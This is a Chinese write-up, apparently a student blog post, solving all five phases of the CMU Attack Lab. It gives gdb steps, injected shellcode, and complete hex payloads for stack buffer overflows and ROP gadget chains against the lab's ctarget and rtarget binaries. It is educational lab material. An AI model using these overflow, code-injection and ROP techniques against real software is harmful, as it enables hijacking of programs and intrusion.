赞
踩
我们的实验可以依照着官方给的说明文档进行参照,依照着这个文档直接开始
拿到代码后,进行初步尝试,输入命令
./ctarget -q # 加 -q命令是为了不对接CMU自己的服务器,官方文档里有写
输入普通字符串会普通返回0x1
接下来我们进行逆向查看,我这里使用的是ida pro
由这两行
sub rsp, 40
mov rdi, rsp
可以看出进入Getbuf函数的时候,rsp
下降了40个字节,同时将此时的rsp
的值交给了rdi
寄存器,这个寄存器是用来储存调用函数时的第一个参数的。
所以我们可以理解这部分代码的功能:栈顶往下增加40个字节,通过Gets
函数将我们的输入值放置在rsp
对应的地址开头
用图表示的话就是这样:
而且Gets函数有一个很出名的漏洞:它不会关注输入字符的长短问题。
也就是说我们输入40个字节作为填充后,还可以继续输入字符。
所以,查询到touch1函数的地址后,直接构造PayLoad:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40
当然我们不能直接这么输入,因为这个是个字符串,放入内存解析的时候是会按照ASCII码进行解析的,所以我们要将它转换成可以被机器识别出来的编码。
正好我们的Attack Lab官方提供了hex2raw
函数,我们使用它就可以直接将我们的16进制格式的文本转化成可以直接存储在内存中的编码。
我们将PayLoad存储在1.txt文件中,然后使用 hex2raw
函数
./hex2raw < 1.txt >raw.txt
./ctarget -q -i raw.txt
得到结果
第二关,我们看看官方文档,就是要在getbuf函数返回时执行touch2函数
函数如下
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
发现这次我们的函数是有一个参数的,而且这个参数要等于我们的cookie
值。
所以这个phase不能像一开始那样只改一个返回地址了,不然就只会得到
printf("Misfire: You called touch2(0x%.8x)\n", val);
这里的语句。
我们的思路是在我们输入的地方,直接构成汇编指令,同时我们将返回地址的部分修改成我们的栈顶位置,这样就可以使得我们函数完成后的返回值直接跳到栈顶,来执行我们想要的操作。
首先我们考虑到,返回的地址是需要返回到rsp
指向的值,所以我们需要找到rsp
的值,这里可以使用gdb来获取rsp
的值。(我其实想用用其他的工具的,像是OllyDbg或者x64Dbg这种动态调试一下,不过后面发现是Elf文件格式,如果有人可以用OllyDbg弄的话教教我吧哈哈哈。。。)
我们直接用gdb来操作,
gdb ./ctarget
(gdb) b getbuf # 在getbuf函数开头打一个断点
(gdb) run -q # 运行程序到断点位置
(gdb) step # 运行一行程序
(gdb) p/x $rsp # 获取$rsp的值
可以看到rsp
的值为0x5561dc78
其次,我们要进行一个push操作,将touch2
的返回地址压栈,这样做的原因是和ret
指令联动
ret
指令要做的事,是将此时的栈顶元素弹出,放进rip
寄存器中,变成下一个运行指令。
我们提前将touch2的地址进行压栈,那在函数结束的时候,弹出的就是touch2的地址,就会按照touch2函数逻辑进行执行,弥补了我们将返回地址改为我们自己的代码结果找不到touch2函数的尴尬情况。
由此,构建出汇编代码:
movq edi,0x59b997fa
push 0x4017EC
ret
至此,我们的逻辑就已经讲清楚了。
接着就是要将这份代码变为机器码,我们使用gcc和objdump工具来执行
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
就是我们需要的机器码
所以最终的Payload如下:
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55
按照上面的方式,完成
我们可以得到源码,
void touch3(char *sval){ vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } int hexmatch(unsigned val, char *sval){ char cbuf[110]; char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
其实我们可以感觉到,之前phase 2的思路其实是有点通用性在身上的。phase 2 的思路无外乎是:push指令和ret指令的联动:
那其实在phase 3中也可以实现这个方式,我们的思路是这样:
对于跳跃的地址,我们可以将调用getbuf
的函数test
中的地址当作我们要使用的地址,这个地址用来存储字符串cookie的值。
我们使用gdb来查找一下test函数运行时的rsp栈顶的值。
可以知道这个时候栈顶是0x5561dca8,这是我们输入48字节后能达到的地方
所以我们phase 3 的汇编代码也可以试试了,构造汇编代码为:
movq rdi,0x5561dca8 # 这个0x5561dca8是我们准备存储的字符串的地址
push 0x4018FA # touch3
ret
获得机器码:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
所以构造PayLoad:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
注入即可
第4题往后就是另一个主题了,这个主题是Return-Oriented Programming,也就是ROP攻击,主要运用的是ret
指令,将系统中有的数据识别为命令,并且加以执行。
而这个Return-Oriented的意思,就是指利用了ret
指令,每一个ret
指令都会将栈顶元素直接弹出,所以如果我们将此时的栈顶都是我们想要的地址,那就会直接想跳到哪里跳到哪里。
这个知识我看了一下午。。。Attack Lab实验还是适合跟着教程一步步理解。
在rtarget
文件中存在很多可以使用的函数,文档里面把这些由ret命令结尾的叫做"Gadget",我也不知道为啥这么命名。函数如下:
哈哈哈看着好像有点太乱了,别人有的博客整理了下,我贴过来
000000000040199a <getval_142>: 40199a: b8 fb 78 90 90 mov $0x909078fb,%eax 40199f: c3 retq 00000000004019a0 <addval_273>: 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3 retq 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq 00000000004019ae <setval_237>: 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 retq 00000000004019b5 <setval_424>: 4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) 4019bb: c3 retq 00000000004019bc <setval_470>: 4019bc: c7 07 63 48 8d c7 movl $0xc78d4863,(%rdi) 4019c2: c3 retq 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq 00000000004019ca <getval_280>: 4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax 4019cf: c3 retq
同时,官方文档还给你了关于一些机器码和汇编代码的对应关系
我们需要的语句大致如下:
pop %rax #cookie值给了rax
ret #命令地址弹出
mov %rax,%rdi
ret
然后我们构造的栈大致如下,语言有点难以描述,看图吧
那么我们构造的PayLoad就是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
获得结果
绷不住了,官方文档一开头是个劝退文。
第五题就是在 rtarget
中通过touch3,我们思路和上面一题一样就好了,但是问题其实是,我们之前在ctarget
的touch3中是可以直接获取到栈中的地址的,所以可以直接像这样:
movq rdi,0x5561dca8 # 这个0x5561dca8是我们准备存储的字符串的地址
push 0x4018FA # touch3
ret
直接获取我们存在栈中的字符串的地址。
但是现在不行了,所以我们要通过构造来解决。以下都是我根据参考了一下其他博客的思路写的汇编。
构造汇编
movq %rsp, %rax ret movq %rax, %rdi ret popq %rax ret movl %eax, %edx ret movl %edx, %ecx ret movl %ecx, %esi ret lea (%rdi,%rsi,1),%rax # 这个是个函数,在rtarget里面直接就有这个函数,地址在0x4019D6 ret movq %rax, %rdi ret
不要问前几个汇编代码为什么要绕这么大个圈子,问就是找不到简便的指令地址,借用的一个大佬博客的思路。
接下来就是一个个找这些指令的机器码对应的地址了
构造PayLoad
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
成功。
至此,Attack Lab全部结束。花费了我差不多三个下午的时间,还是很长了感觉,收获还是有,不过确实像是官方文档说的,第五题没什么必要花费很长时间去完成它,它里面有些根本你想不到的事情,比如说直接给你一个add_xy
函数,这谁能想到。。。除非真的是时间和精力多
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。